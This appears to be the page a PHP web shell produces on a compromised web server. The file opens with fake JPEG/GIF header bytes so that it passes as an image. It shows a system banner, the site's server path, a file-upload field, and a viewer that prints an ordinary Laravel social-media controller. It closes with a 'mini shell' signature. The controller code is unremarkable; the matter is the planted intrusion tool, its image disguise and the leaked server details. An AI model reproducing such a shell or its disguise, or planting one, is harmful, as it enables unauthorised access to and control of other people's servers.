ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/Modules_old/Social/Http/Controllers/
Upload File :
Current File : /var/www/yapwebtv.com/Modules_old/Social/Http/Controllers/SocialController.php

<?php

namespace Modules\Social\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Cache;
use Modules\Post\Entities\Poll;
use Modules\Social\Entities\SocialMedia;
use Paginate;
use Validator;
use DB;

class SocialController extends Controller
{
    /**
     * Display a listing of the resource.
     * @return Response
     */
    public function index()
    {
        return view('social::index');
    }

    /**
     * Show the form for creating a new resource.
     * @return Response
     */
    public function create()
    {
        return view('social::social_create');
    }

    /**
     * Store a newly created resource in storage.
     * @param Request $request
     * @return Response
     */
    public function store(Request $request)
    {
        Validator::make($request->all(), [
            'name'  => 'required|min:2',
            'url'   => 'required|min:2',
            'icon'  => 'required',
        ])->validate();

        DB::beginTransaction();

        try {

            $social                 = new SocialMedia();

            $social->name           = $request->name;
            $social->url            = $request->url;
            $social->icon           = $request->icon;
            $social->icon_bg_color  = $request->icon_bg_color;
            $social->text_bg_color  = $request->text_bg_color;
            $social->status         = $request->status;

            $social->save();

            Cache::forget('socialMedias');
            Cache::forget('sideWidgets');
            Cache::forget('menuDetails');
            Cache::forget('primary_menu');

            DB::commit();
            return redirect()->back()->with('success', __('successfully_added'));

        } catch (\Exception $e) {
            DB::rollback();
            return redirect()->back()->with('error', $e->getMessage());
        }
    }

    /**
     * Show the specified resource.
     * @param int $id
     * @return Response
     */
    public function show($id)
    {
        return view('social::show');
    }

    /**
     * Show the form for editing the specified resource.
     * @param int $id
     * @return Response
     */
    public function edit($id)
    {
        $socialMedia = SocialMedia::find($id);
        return view('social::social_edit', compact('socialMedia'));
    }

    /**
     * Update the specified resource in storage.
     * @param Request $request
     * @param int $id
     * @return Response
     */
    public function update(Request $request, $id)
    {
        Validator::make($request->all(), [
            'name'      => 'required|min:2',
            'url'       => 'required|min:2',
            'icon'      => 'required',
        ])->validate();

        DB::beginTransaction();
        try {

            $social                 = SocialMedia::find($id);

            $social->name           = $request->name;
            $social->url            = $request->url;
            $social->icon           = $request->icon;
            $social->icon_bg_color  = $request->icon_bg_color;
            $social->text_bg_color  = $request->text_bg_color;
            $social->status         = $request->status;

            $social->save();

            Cache::forget('socialMedias');
            Cache::forget('sideWidgets');
            Cache::forget('menuDetails');
            Cache::forget('primary_menu');

            DB::commit();

            return redirect('social/socials')->with('success', __('successfully_updated'));

        } catch (\Exception $e) {
            DB::rollback();

            return redirect()->back()->with('error', $e->getMessage());
        }
    }

    /**
     * Remove the specified resource from storage.
     * @param int $id
     * @return Response
     */
    public function destroy($id)
    {
        //
    }

    public function socials()
    {
        $socialMedias   = SocialMedia::orderBy('id', 'desc')->paginate(15);

        return view('social::socials', compact('socialMedias'));
    }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST